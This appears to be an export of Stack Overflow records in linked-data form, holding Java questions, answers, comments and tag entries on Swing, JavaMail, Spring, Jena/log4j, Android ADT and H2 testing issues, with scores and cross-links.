comment on: http://stackoverflow.com/a/22206316

http://stackoverflow.com/a/61808403
score: 0
answers question: http://stackoverflow.com/q/22186077
type: Answer
has body: If you put Toolkit.getDefaultToolkit().setDynamicLayout(false); right inside of main it will disable the frame from updating dynamically as you increase/decrease it's size. The ui will only be updated after you stop resizing. import MainMenu.GameManager; import java.awt.*; import java.io.IOException; public class Main { Main(){ } public static void main(String[] args) throws IOException { GameManager manager = new GameManager(); Toolkit.getDefaultToolkit().setDynamicLayout(false); } }

bit-manipulation
tags question: http://stackoverflow.com/q/22214413
type: Tag
tags question: http://stackoverflow.com/q/22307256
tags question: http://stackoverflow.com/q/22204778
tag name: bit-manipulation
tags question: http://stackoverflow.com/q/22263289

http://stackoverflow.com/comment/33667868
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22178849
has text: No problem, make sure you know the sacrifices involved with using that List type, and that you found that maybe-bug you had.

http://stackoverflow.com/comment/33688248
type: QuestionComment
has text: There is an Exception let me post that.
comment on: http://stackoverflow.com/q/22192402
score: 0
type: Comment

http://stackoverflow.com/comment/33779386
has text: Web site can be a normal visit, just log on every so often thrown.
comment on: http://stackoverflow.com/q/22242717
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33873815
type: Comment
comment on: http://stackoverflow.com/a/22292516
score: 0
type: AnswerComment
has text: No, since the Test are in flow with each other we want to end it after all test ends, hence it is @AfterSuite. But the problem is instances are sometimes closed by 5-10 out of 100 are left open sometimes, which is totally random

http://stackoverflow.com/q/22303247
linked to: http://stackoverflow.com/q/12532339
score: -1
type: Question
tagged with: jena
upvote count: 0
has comment: http://stackoverflow.com/comment/33973236
has comment: http://stackoverflow.com/comment/33973183
has answer: http://stackoverflow.com/a/22347911
answer count: 1
tagged with: log4j
favorite count: 0
type: UnansweredQuestion
has title: Why do I get a log4j:WARN message when loading a .owl file with Jena Ontology API?
has body: I'm new to the concepts ontology and inferencing. I have an ontology saved in .owl format. My target is to load the .owl file using jena API in netbeans 7.4, inference it to grab the required information from the ontology. I followed the documentation given in jena site(https://jena.apache.org/documentation/ontology ). So far I tried to load the .owl file to netbeans using the following code set. String path = "C:/datafiles/wine.owl"; Model model = FileManager.get().loadModel("file:" + path); Reasoner reasoner = ReasonerRegistry.getOWLReasoner(); InfModel infmodel = ModelFactory.createInfModel(reasoner, model); But I get this error. log4j:WARN No appenders could be found for logger (org.apache.jena.riot.stream.JenaIOEnvironment). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info. How do I fix this?
downvote count: 1
tagged with: logging
tagged with: java

http://stackoverflow.com/q/22229296
has answer: http://stackoverflow.com/a/22230993
upvote count: 1
type: AnsweredQuestion
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22230070
type: Question
tagged with: jakarta-mail
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33754000
accepted answer: http://stackoverflow.com/a/22230070
favorite count: 0
possible better answer: http://stackoverflow.com/a/22230993
has title: Java mail sender is not working correctly
has body: The problem I've got, is that when I call multipart.addBodyPart(msgbodypart); it says, I should change type of msgbodypart to MimeBodyPart at BodyPart msgbodypart = new MimeBodyPart(); and msgbodypart = new MimeBodyPart(); Okay, I change it,then it drops warning: The method addBodyPart(BodyPart) in the type Multipart is not applicable for the arguments (MimeBodyPart) what now? try { MimeMessage msg = new MimeMessage(session); msg.setFrom(new InternetAddress(username)); msg.addRecipient(Message.RecipientType.TO, new InternetAddress(to)); msg.setSubject("Test Java Sending Zip File"); msg.setText("This is a message from a java program"); BodyPart msgbodypart = new MimeBodyPart(); msgbodypart.setText("this is msg Body"); Multipart multipart = new MimeMultipart(); msgbodypart = new MimeBodyPart(); String filename = "zips.txt"; DataSource source = new FileDataSource(filename); msgbodypart.setDataHandler(new DataHandler(source)); msg.setFileName(filename); multipart.addBodyPart(msgbodypart); msg.setContent(multipart); System.out.println("Sending"); Transport.send(msg); System.out.println("Sent!"); } catch (MessagingException mex) { mex.printStackTrace(); }

http://stackoverflow.com/a/22218965
upvote count: 1
answers question: http://stackoverflow.com/q/22218844
has body: You can specify a custom contains() method for a single instance of a List, during instantiation such as this: List&lt;String&gt; list = new ArrayList&lt;String&gt;() { @Override public boolean contains(Object o) { // your own implementation } };
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/33923807
type: AnswerComment
has text: Thanx @JqueryLearner...but for those textfields without single quotes...they are actually ints
type: Comment
comment on: http://stackoverflow.com/a/22323460
score: 0

http://stackoverflow.com/comment/33671290
score: 3
type: Comment
type: QuestionComment
has text: Why not have a class that extends `JButton`?
comment on: http://stackoverflow.com/q/22183086

http://stackoverflow.com/comment/33757880
has text: Sorry, that line might be wrong. I have corrected it out. Basically checking if k exists in the map. If not (which means `listOfLines` will be null as the map's get method will return null) then create a new list and insert into the map. If k already exists in the map then just get the corresponding list of Strings and add the new line into it.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22214454

http://stackoverflow.com/comment/33739017
has text: yeah could be a great idea thanks. I didn't think about this solution :) I'll try thanks
type: Comment
comment on: http://stackoverflow.com/a/22221143
score: 0
type: AnswerComment

http://stackoverflow.com/q/22222746
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22222905
score: 0
has comment: http://stackoverflow.com/comment/33741988
answer count: 1
has title: Using wildcard when listing files in directory with java
has answer: http://stackoverflow.com/a/22222905
has body: Why does a wildcard not work in java code below? My request looks like http://localhost:8080/App/DataAccess?location=Dublin rob@work:~$ ls /usr/local/CustomAppResults/Dublin/*/.history /usr/local/CustomAppResults/Dublin/team1/.history /usr/local/CustomAppResults/Dublin/team2/.history /usr/local/CustomAppResults/Dublin/team3/.history Servlet code (DataAccess.java). (DataAccess.java:27) refers to the for loop .. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { File[] files = finder("/usr/local/CustomAppResults/" + request.getParameter("location") + "/*/"); for (int i = 0; i &lt; files.length; i++){ System.out.println(files[i].getName()); } } private File[] finder(String dirName) { File dir = new File(dirName); return dir.listFiles(new FilenameFilter() { public boolean accept(File dir, String filename) { return filename.endsWith(".history"); } }); } Error: The server encountered an internal error that prevented it from fulfilling this request. java.lang.NullPointerException com.example.servlets.DataAccess.doGet(DataAccess.java:27) javax.servlet.http.HttpServlet.service(HttpServlet.java:621) javax.servlet.http.HttpServlet.service(HttpServlet.java:728)
linked to: http://stackoverflow.com/q/794381
has comment: http://stackoverflow.com/comment/33742040
type: AnsweredQuestion

http://stackoverflow.com/a/22223650
has comment: http://stackoverflow.com/comment/33743461
downvote count: 0
answers question: http://stackoverflow.com/q/22220673
accepted answer of: http://stackoverflow.com/q/22220673
score: 1
upvote count: 1
type: AcceptedAnswer
has body: You should use p:inputText and p:ajax and in p:ajax tag add process="@this" and event.
type: Answer
has comment: http://stackoverflow.com/comment/33743962

http://stackoverflow.com/comment/33717774
type: QuestionComment
comment on: http://stackoverflow.com/q/22208839
has text: @user3385390: `Map` is an interface, `HashMap` is an implementing class.
score: 0
type: Comment

http://stackoverflow.com/a/22247905
answers question: http://stackoverflow.com/q/22245817
has body: This answer I provided to a previous question provides code examples demonstrating how to do it: Multiple jpa:repositories in xml config, how to configure with @EnableJPARepositories using Spring java config?
score: 0
type: Answer

http://stackoverflow.com/q/22181835
has comment: http://stackoverflow.com/comment/33669111
downvote count: 0
score: 1
has title: Adding Functionality (Buttons/TextViews) under a tab in an Android app
favorite count: 0
has comment: http://stackoverflow.com/comment/33669983
type: Question
tagged with: android
has answer: http://stackoverflow.com/a/22182373
tagged with: java
tagged with: android-tabs
upvote count: 1
answer count: 1
has body: I have an application with three tabs. Under each, I'd like to be able to do things such as add buttons and/or TextViews to add functionality or show content. I have set up tabs using TabsPagerAdapter, and they all work fine. I have added button and TextView elements to the xml file for a tab, but when I try to connect them using findViewById, I get errors because the class is not an activity class. How do I get app functionality under a tab?
accepted answer: http://stackoverflow.com/a/22182373
has comment: http://stackoverflow.com/comment/33669664
type: AnsweredQuestion

http://stackoverflow.com/a/22244562
score: 1
has comment: http://stackoverflow.com/comment/33782605
upvote count: 1
has body: You can get the column header dynamically using ResultSetMetaData &larr; API link ResultSetMetaData rsMeta = resultSet.getMetaData(); int numberOfCols = rsMeta.getColumnCount(); Vector&lt;String&gt; columnNames = new Vector&lt;&gt;(); // your columns names for (int i = 1; i &lt;= numberOfCols; i++ ){ columnsNames.add(rsMeta.getColumnName(i)); } You don't need the extra Vector or the List for the data. Just first declare your DefaultTableModel with the constructor arguments ( Vector/Object[] colNames, int rows). Then just use the method addRow from the DefaultTableModel DefaultTableModel model = new DefaultTableModel(columnNames, 0); while (resultSet.next()) { String data1 = resultSet.getString(1); String data2 = resultSet.getString(2); ... Object[] rowData = new Object[] { data1, data2, ... }; model.addRow(rowData); } return model; Or, instead of 2., to make sure you're getting the correct number of columns, you could use the Vector inside the while loop and loop through the column data. DefaultTableModel model = new DefaultTableModel(columnNames, 0); while (resultSet.next()) { Vector&lt;String&gt; row = new Vector&lt;&gt;(); for (int i = 1; i &lt;= numberOfCols; i++) { row.add(resultSet.getString(i)); } model.addRow(row); } return model; See more methods and constructors see DefaultTableModel API
has comment: http://stackoverflow.com/comment/33782761
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22238641
downvote count: 0
answers question: http://stackoverflow.com/q/22238641
has comment: http://stackoverflow.com/comment/33784115
type: Answer

http://stackoverflow.com/a/22198007
has comment: http://stackoverflow.com/comment/34156725
has comment: http://stackoverflow.com/comment/33869684
has comment: http://stackoverflow.com/comment/34225065
has comment: http://stackoverflow.com/comment/41456278
has comment: http://stackoverflow.com/comment/34266096
has comment: http://stackoverflow.com/comment/33831497
has comment: http://stackoverflow.com/comment/33738418
has comment: http://stackoverflow.com/comment/34004735
has comment: http://stackoverflow.com/comment/34010277
has comment: http://stackoverflow.com/comment/34169982
has body: THIS IS A POSSIBLE WORKAROUND FOR BUGS IN ADT 22.6.0 ONLY, THESE BUGS SUBSEQUENTLY FIXED IN FOLLOWING BUILDS Download and install new ADT v22.6.1 from here (zip) or use SDK manager to update Seems like some bug from Google side, this problem found after "ADT 22.6" update. Widely reported on "Android Open Source Project - Issue Tracker" and nobody properly answered it yet. However I was partially successful to create an AVD by opening "AVD manager.exe" from "Android SDK" for creating new AVD try to open directly AVD Manager.exe in SDK folder. May be we have to wait for any conformation from Android community Worked for me, sort of.. . (Windows 8.1 Pro 64 Bit, Java JDK 1.7 Update 25, Eclipse Standard Kepler Service Release 1, Android Development Toolkit 22.6.0.v201403010043-1049357) Update 1 Further research revealed that launching AVD Manager from SDK Manager (Tools --> Manage AVDs...) also works without any problems. Update 2 More bad news is AVD creation not working from command line tool too. Update 3 Assuming some parameter passed during launching AVD manager from Eclipse causes these problems Update 4 Updated Java to JDK 1.7 Update 51 and Eclipse Standard SDK to Kepler Service Release 2 their latest and no resolution to the problems. Also tested under Debian and same results obtained. Update 5 At https://code.google.com/p/android/issues/detail?id=66661 android project members conforms the problems and promises to fix by upcoming versions of ADT (22.6.1 - 22.6.3). At the mean time I would suggest to roll-back ADT to a lower version version 22.3.0 To uninstall current ADT go to Help --> About Eclipse --> Installation Details --> Android Development Tools --> Uninstall I may suggest uninstalling whole packages from Android (DDMS, Hierarchy Viewer, NDT, Traceview, OpenGL ES..etc..) to avoid any possible compatibility issues and install a fresh new ADT from above link through archive installation method. Hope this will solve this problem temporarily. And wait for new…
score: 69
answers question: http://stackoverflow.com/q/22190076
has comment: http://stackoverflow.com/comment/37590461
has comment: http://stackoverflow.com/comment/34202762
upvote count: 69
downvote count: 0
has comment: http://stackoverflow.com/comment/37800581
has comment: http://stackoverflow.com/comment/41529489
has comment: http://stackoverflow.com/comment/34053814
type: Answer

http://stackoverflow.com/comment/33863134
comment on: http://stackoverflow.com/a/22287367
score: 0
type: Comment
has text: @fge Yes, I realize this should be a "discussion," but... You are, of course, correct that `IdentityHashSet` is an appropriate collection class for classes where every instance is unique. However, I am really more concerned by the "contract" which insists that `.hashCode()` must be implemented whenever `.equals()` is implemented for classes which cannot simply return a reference to satisfy the requirement. That becomes even more onerous when there is no intent to "hash" instances at all, but an `.equals()` method may still have utility. The contract requires `.hashCode()` "just in case."
type: AnswerComment

http://stackoverflow.com/a/39767562
score: 0
answers question: http://stackoverflow.com/q/22229438
has body: I assume that you use toedter's JCalendar, that you can add to NetBeans'palette. In this case you have to make it in 3 times for a WHITE background, 2 for other background's colors(3rd point of the belowed list is not useful in this case). get the JCombobox (Java Component). You have to cast it into a JComboBox because the method getComboBox() returns a java.awt.Component. javax.swing.JComboBox box = (javax.swing.JComboBox) monthChooser.getComboBox(); Modify the JComboBox's Renderer to change list's background (more examples here). box.setRenderer(new javax.swing.DefaultListCellRenderer() { @Override public void paint(java.awt.Graphics g) { setBackground(new java.awt.Color(255, 255, 255)); setForeground(java.awt.Color.BLACK); super.paint(g); } }); Set the "collapsed list" (selected) background (WHITE only) box.setOpaque(false); Hope that help.
type: Answer

http://stackoverflow.com/comment/33771721
type: Comment
comment on: http://stackoverflow.com/a/22238462
has text: So all the fields are mandatory? Then follow the mandatory branch of comments...
type: AnswerComment
score: 0

http://stackoverflow.com/a/22306564
has comment: http://stackoverflow.com/comment/33893930
has body: The "contract" means the compare method should be a total ordering. (Edit) This should also be consistent with the equals(Object obj) method (even though it may not be strictly imposed) to make sure data structures (such as TreeSet, TreeMap) behave the way you expect, as they may be based on both conparison and the equals method. Make sure you have those in check. Total ordering means a.compareTo(a) &gt;= 0, for every a a.compareTo(b) &gt;= 0 and b.compareTo(a) &gt;= 0 implies that a is "equal" to b, for every a,b; that means if a.compareTo(b) == 0, then also b.compareTo(a) == 0 a.compareTo(b) &gt;= 0 and b.compareTo(c) &gt;= 0 implies a.compareTo(c) &gt;= 0, for every a,b,c It's easy to give counterexamples where the compare method returns {0,1,-1} and not be consistent with total ordering, so check that in particular.
has comment: http://stackoverflow.com/comment/33895566
has comment: http://stackoverflow.com/comment/33901460
downvote count: 0
has comment: http://stackoverflow.com/comment/33895367
has comment: http://stackoverflow.com/comment/33894072
upvote count: 2
answers question: http://stackoverflow.com/q/22306400
has comment: http://stackoverflow.com/comment/33902235
type: Answer
has comment: http://stackoverflow.com/comment/33899294
has comment: http://stackoverflow.com/comment/33897681
score: 2
has comment: http://stackoverflow.com/comment/33895119

http://stackoverflow.com/q/22213273
downvote count: 0
answer count: 1
favorite count: 0
has title: String lines sorting by Shell Sort
upvote count: 1
accepted answer: http://stackoverflow.com/a/22214454
type: AnsweredQuestion
score: 1
tagged with: java
type: Question
tagged with: sorting
has body: I have a text file of 50 string lines of varying length and content. I need to read the file and sort in ascending order. Sorting condition: the number of words in a sentence that start from the letter "a". public static void main(String[] args) throws FileNotFoundException { String token1 = ""; Scanner inFile1 = new Scanner(new File("E:\\text.txt")); List&lt;String&gt; temps = new LinkedList&lt;String&gt;(); inFile1.useDelimiter(". "); while (inFile1.hasNext()) { token1 = inFile1.nextLine(); temps.add(token1); } inFile1.close(); String[] tempsArray = temps.toArray(new String[0]); for (int i = 0; i &lt; tempsArray.length; i++) { System.out.println(tempsArray[i]); } int cnt = 0; //number of words in the string line for (int i=0; i&lt;tempsArray.length; i++) { int k=0; //number of words that start from the letter "а" System.out.println("Line № = " + i); StringTokenizer st = new StringTokenizer(tempsArray[i]); while (st.hasMoreTokens()) { cnt++; String s= st.nextToken(); if (s.charAt(0)=='a') { k++; } } System.out.println("Number of words = " + cnt); cnt=0; System.out.println("Number of words 'а' = " + k); } } I use Map as Kau advise me. But Map use unique keys. But my K can have same values and Map can't find an appropriate string element. What other Сollection сan I use?
has answer: http://stackoverflow.com/a/22214454

http://stackoverflow.com/a/22191459
downvote count: 0
has body: (“Hello, world!”); and ("Hello, world!") Diffence is in java, " ascii value is 34 “ ascii value is 147 so, the error will be occurred.
answers question: http://stackoverflow.com/q/22191198
upvote count: 6
type: Answer
score: 6

http://stackoverflow.com/q/22324091
possible better answer: http://stackoverflow.com/a/22324177
type: Question
accepted answer: http://stackoverflow.com/a/22325651
has answer: http://stackoverflow.com/a/24895133
has body: What use is Java 6 interface MultivaluedMap?
tagged with: data-structures
score: 15
has title: What use is Java 6 interface MultivaluedMap?
has comment: http://stackoverflow.com/comment/33927127
tagged with: java-6
has comment: http://stackoverflow.com/comment/33932915
tagged with: jax-rs
answer count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/40301994
has answer: http://stackoverflow.com/a/22325651
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22324177
tagged with: java
downvote count: 3
upvote count: 18

http://stackoverflow.com/comment/58096010
score: 0
type: Comment
type: QuestionComment
has text: just follow the first link, do what they say, then use the database normally.
comment on: http://stackoverflow.com/q/22223904

http://stackoverflow.com/q/22300102
linked to: http://stackoverflow.com/q/39173982
downvote count: 0
tagged with: javabeans
has answer: http://stackoverflow.com/a/27302595
favorite count: 0
duplicate of: http://stackoverflow.com/q/39173982
upvote count: 8
tagged with: spring
answer count: 4
score: 8
type: UnansweredQuestion
tagged with: java
type: Question
has body: I am getting the below exception when I am deploying the code Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No unique bean of type [com.belk.api.adapter.contract.Adapter] is defined: expected single matching bean but found 2: [endeca, solar] at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency(DefaultListableBeanFactory.java:800) at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency(DefaultListableBeanFactory.java:707) at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor$AutowiredFieldElement.inject(AutowiredAnnotationBeanPostProcessor.java:478) ... 64 more I have 3 different projects one is Common, second is Adapter and the third is Service. The adapter is dependent on Common and Service is dependent on Adapter. All three are maven projects. Now in my Common project I have an interface called CommonAdapter.java public interface CommonAdapter { List service() ; } I have a class called AdapterFactory.java in the same project (i,e Common) @Component public class AdapterFactory { @Autowired Adapter adapter; public Adapter getAdapter(String adapterName){ return adapter; } } &lt;context:component-scan base-package="com.test.api" /&gt; &lt;bean class="org.springframework.beans.factory.config.ServiceLocatorFactoryBean" id="adapterFactory"&gt; &lt;property name="serviceLocatorInterface" value="com.test.api.adapter.manager.AdapterFactory"&gt; &lt;/property&gt; &lt;/bean&gt; Now in my Adapter Project, I have the implementation classes for CommonAdapter.java One is EndecaAdapetr.java and the other is SolarAdapter.java @Component("endeca") public class EndecaAdapter implements Adapter { List service() { // My bussiness logic } } @Component("solar") public class SolarAdapter implements Adapter { List service() { // My bussiness logic } } Now in my Service project, want to invoke the service method of the above two classes based on the input. pu…
has answer: http://stackoverflow.com/a/22301215
has title: No unique bean of type is defined: expected single matching bean but found 2
has answer: http://stackoverflow.com/a/34084373
has comment: http://stackoverflow.com/comment/33882026
linked to: http://stackoverflow.com/q/8414287
has answer: http://stackoverflow.com/a/22301498

http://stackoverflow.com/comment/33687106
type: AnswerComment
comment on: http://stackoverflow.com/a/22192046
score: 0
type: Comment
has text: inheritance with static members? Wrong wordings.

http://stackoverflow.com/comment/33775235
type: AnswerComment
score: 0
type: Comment
has text: You don't need to do that. You could just declare variables like `sum` and just add to it every time you read a line and a variable like `numCount` to keep track how many lines are read. Then you can get your average.
comment on: http://stackoverflow.com/a/22240557

http://stackoverflow.com/a/22324744
type: Answer
has body: This is the final solution I use.(use Spring MVC) /** return encoded file name */ protected String getFileName(String filename) { try{ HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest(); if (request.getHeader("User-Agent").indexOf("MSIE") != -1) { return '\"' + java.net.URLEncoder.encode(filename, "UTF-8") + '\"'; } byte[] bytes = filename.getBytes("UTF-8"); StringBuilder buff = new StringBuilder(bytes.length &lt;&lt; 2); buff.append("=?UTF-8?Q?"); for (byte b : bytes) { int unsignedByte = b &amp; 0xFF; buff.append('=').append(HEX_CHARS[unsignedByte &gt;&gt; 4]).append(HEX_CHARS[unsignedByte &amp; 0xF]); } return buff.append("?=").toString(); }catch(UnsupportedEncodingException e){ return filename; } } private static final char[] HEX_CHARS = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22319277
upvote count: 1

http://stackoverflow.com/a/22203074
type: Answer
has body: "I updated my Cordova to the latest version, 3.4.0 by the command npm -g update phonegap" Cordova and PhoneGap are two different things in terms of command line clients. Have you run npm -g install cordova? You need to have both for the phonegap client to work with local builds.
answers question: http://stackoverflow.com/q/22202472
score: 0
accepted answer of: http://stackoverflow.com/q/22202472
type: AcceptedAnswer

http://stackoverflow.com/q/22230407
score: 0
has answer: http://stackoverflow.com/a/22252168
answer count: 1
tagged with: junit
linked to: http://stackoverflow.com/q/5225700
has body: I intend to write automated test for an application component that reads data from one database, converts and enrichens the data and then stores it in another database. In order to get rid off the external dependencies (the two databases), I'd like to use in-memory databases. I've reached a point where Hibernate fails to create tables, since the required schemas don't exist (with both H2 and HSQLDB), according to this SO response, I can create the required schemas in H2 by appending SQL statements to the connection URL. Unfortunately this doesn't seem to be working. You will see two different DataSources defined in my Spring context, I used the MySQL-DataSource to verify that Hibernate actually creates the tables if the database exists (works). I'm looking forward to any constructive advice and thank you in advance for any effort you put into helping me with this annoying issue! default-servlet.xml: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd"> <context:annotation-config /> <context:component-scan base-package="de.oschluet" /> <mvc:annotation-driven /> <property name="url" value="jdbc:mysql://localhost:3306/inmem" /> <property name="username" value="inmem" /> <property name="password" value="inmem" /> <property name="driverClassName" value="com.mysql.…
type: UnansweredQuestion
has title: Schema creation for in-memory database to use in integration tests fails
tagged with: spring
tagged with: java
tagged with: hibernate
tagged with: h2
type: Question

http://stackoverflow.com/q/22307917
has comment: http://stackoverflow.com/comment/33899370
has comment: http://stackoverflow.com/comment/33896887
tagged with: jlabel
accepted answer: http://stackoverflow.com/a/22309699
type: Question
has comment: http://stackoverflow.com/comment/33896939
score: 0
tagged with: swing
answer count: 1
has answer: http://stackoverflow.com/a/22309699
has title: Overflow JLabel into Another JLabel
tagged with: java
has comment: http://stackoverflow.com/comment/33896665
has comment: http://stackoverflow.com/comment/33896598
has body: Let's say I have a JLabel sized 20x20. Now let's say I add the string "The quick brown fox jumps over the lazy dog." This sentence is too long for the JLabel, so it gets replaces with .... Is there a way that I could get it to overflow to another JLabel, so that the first JLabel would have "The quick brown fox" and the second JLabel would have "jumps over the lazy dog."? JLabel lbl = new JLabel("The quick brown fox jumps over the lazy dog."); lbl.setMaximumSize(new Dimension(20, 20)); add(lbl) Produces a label that says "...".
type: AnsweredQuestion

http://stackoverflow.com/comment/33720973
type: QuestionComment
has text: @user3340630 Yes, the DB will be on a different machine. Say the DB has stopped responding / crashed.
score: 0
comment on: http://stackoverflow.com/q/22210420
type: Comment

http://stackoverflow.com/q/22312418
type: Question
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/33904882
has comment: http://stackoverflow.com/comment/33904743
has answer: http://stackoverflow.com/a/22312472
type: UnansweredQuestion
tagged with: java
tagged with: swing
tagged with: jtextfield
has answer: http://stackoverflow.com/a/22312490
tagged with: jbutton
has comment: http://stackoverflow.com/comment/33904737
has body: So I'm getting this error and I'm confused. I'm not even trying to do that..Here's what I have: import javax.swing.JFrame; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JLabel; import javax.swing.JTextField; import javax.swing.SwingConstants; public class Answerfinder extends JFrame { private static final int WIDTH = 400; private static final int HEIGHTH = 300; private JLabel Ial, Ratelabel,earn1, earn2, earn3, earn4, earn5, earn10; private JLabel equalabel; private JTextField ratein,initialamin, earn1out, earn2out, earn3out, earn4out, earn5out, earn10out; private JButton calculatebut; private CalculateButtonHandler cbhandler; public Answerfinder() { // adding the labels Ial = new JLabel("Enter your initial amount:",SwingConstants.RIGHT); Ratelabel = new JLabel("Enter growth percentage (just numbers):",SwingConstants.RIGHT); earn1 = new JLabel("Total by year 1:",SwingConstants.RIGHT); earn2 = new JLabel("Total by year 2:",SwingConstants.RIGHT); earn3 = new JLabel("Total by year 3:",SwingConstants.RIGHT); earn4 = new JLabel("Total by year 4:",SwingConstants.RIGHT); earn5 = new JLabel("Total by year 5:",SwingConstants.RIGHT); earn10 = new JLabel("Total by year 10:",SwingConstants.RIGHT); equalabel = new JLabel("Press this to calculate: "); //adding the textfields ratein = new JTextField(); initialamin = new JTextField(); earn1out = //adding button calculatebut = new JButton("Calculate"); cbhandler = new CalculateButtonHandler(); calculatebut.addActionListener(cbhandler); // Sets title of program setTitle("Exponential Growth Calculator"); // Sets size of frame, whether or not it's visible, and what do on close setSize(WIDTH, HEIGHTH); setVisible(true); setDefaultCloseOperation(EXIT_ON_CLOSE); // establishes container and sets the layout Container pane = getContentPane(); pane.setLayout(new GridLayout (8,2)); pane.add(Ial); pane.add(initialamin); pane.add(Ratelabel); pane.add(ra…
has title: Why am I getting the error: Incompatible types; JButton cannot be converted to a JTextfield
has answer: http://stackoverflow.com/a/22312480

http://stackoverflow.com/a/22280328
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/22280295
has comment: http://stackoverflow.com/comment/33862099
has body: This is not a perfect solution but you coud use this if you can't find something better. You can use javap, if you're in Linux, run in the command line (or run a proccess using Runtime.exec()): javap -verbose /path/to/my/classfile.class | grep invoke and you'll have the binary signatures that the class "calls" from other classes. Yes, I know, it's not what you wanted but you could use it as a last resource. If you need a more "javaish" solution, you could have a look at a java library called "asm": http://asm.ow2.org/
upvote count: 1

http://stackoverflow.com/comment/33927570
score: 0
type: Comment
has text: This is not accepted as a answer. This must be comment.!!
type: AnswerComment
comment on: http://stackoverflow.com/a/22325881

http://stackoverflow.com/comment/33679728
type: QuestionComment
comment on: http://stackoverflow.com/q/22187741
score: 0
has text: Um what if: "try { a[i] = i; } catch ( ArrayIndexOutOfBoundsException ex1 ) { System.out.println("It was at index: " + i); }" ?
type: Comment

web
tags question: http://stackoverflow.com/q/22193072
tags question: http://stackoverflow.com/q/22275403
tags question: http://stackoverflow.com/q/22247262
tags question: http://stackoverflow.com/q/22184789
tags question: http://stackoverflow.com/q/22173279
type: Tag
tags question: http://stackoverflow.com/q/22248525
tags question: http://stackoverflow.com/q/22227022
tags question: http://stackoverflow.com/q/22224113
tags question: http://stackoverflow.com/q/22327884
tag name: web
tags question: http://stackoverflow.com/q/22326125
tags question: http://stackoverflow.com/q/22305095

http://stackoverflow.com/q/22234765
tagged with: log4j
has comment: http://stackoverflow.com/comment/33765904
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22236775
possible better answer: http://stackoverflow.com/a/22235006
has answer: http://stackoverflow.com/a/22235006
has title: Does @Scheduler start a new thread?
upvote count: 1
tagged with: spring
has body: I have a Spring application and it has several scheduled methods It seems Lo4J stop rolling to new file and grow to 10 Gbytes after the application running for a while. All configuration looks fine, and I only use notepad ++ to open log file(meaning no lock on log file by editor) So I ponder there might be another thread running in the application. I dong recall any muti-threading implementation in current application. Then is it possible that the @Scheduled method causes the issue?
type: Question
tagged with: jakarta-ee
linked to: http://stackoverflow.com/q/2177553
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33764409
answer count: 2
has answer: http://stackoverflow.com/a/22236775
linked to: http://stackoverflow.com/q/21841549
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33765733
has comment: http://stackoverflow.com/comment/33764402

http://stackoverflow.com/q/22207095
has body: Ok I am trying to wrap my head around this: Write an application that creates a class for the student object with the following attributes: Student Number, Name, Address, Phone No., and Course. Write a test program that sets and gets each attribute in the class. The test program should also display all of the attributes in the class. Using the student class and its attributes from the previous question, write an application (extend the previous program) that includes both a user-defined and default constructor. Write a test program to demonstrate the use of both constructors. This is a work-sheet from college, for some revision on Objects in Java. The part that troubles me is the one where it asks to have both user-defined and default constructor? I was under impression it was impossible to do it? Because if you don't provide a constructor yourself, JVM will provide one (default constructor?). But if you define any constructor, then default one becomes unavailable? Is this just poorly worded task, or could it mean something else?
answer count: 6
has answer: http://stackoverflow.com/a/22207190
score: 4
has title: User defined and default constructor?
has answer: http://stackoverflow.com/a/22207211
has answer: http://stackoverflow.com/a/22207127
favorite count: 0
tagged with: constructor
upvote count: 5
has answer: http://stackoverflow.com/a/22207237
has comment: http://stackoverflow.com/comment/33714285
has answer: http://stackoverflow.com/a/22207192
accepted answer: http://stackoverflow.com/a/22207192
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/35696708
tagged with: java
downvote count: 1
possible better answer: http://stackoverflow.com/a/22207127
type: Question

http://stackoverflow.com/comment/33771627
score: 0
type: Comment
type: QuestionComment
has text: have you tried using the Apache's log4j capabilities? It's very convenient than using the built in JDK api's (AND it's free). Take a look here http://logging.apache.org/log4j/1.2/
comment on: http://stackoverflow.com/q/22238610

http://stackoverflow.com/comment/33736597
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22206931
has text: `System.out` doesn't necessarily go anywhere. Use `System.err` or even better, `android.util.Log``
type: Comment

http://stackoverflow.com/comment/33701304
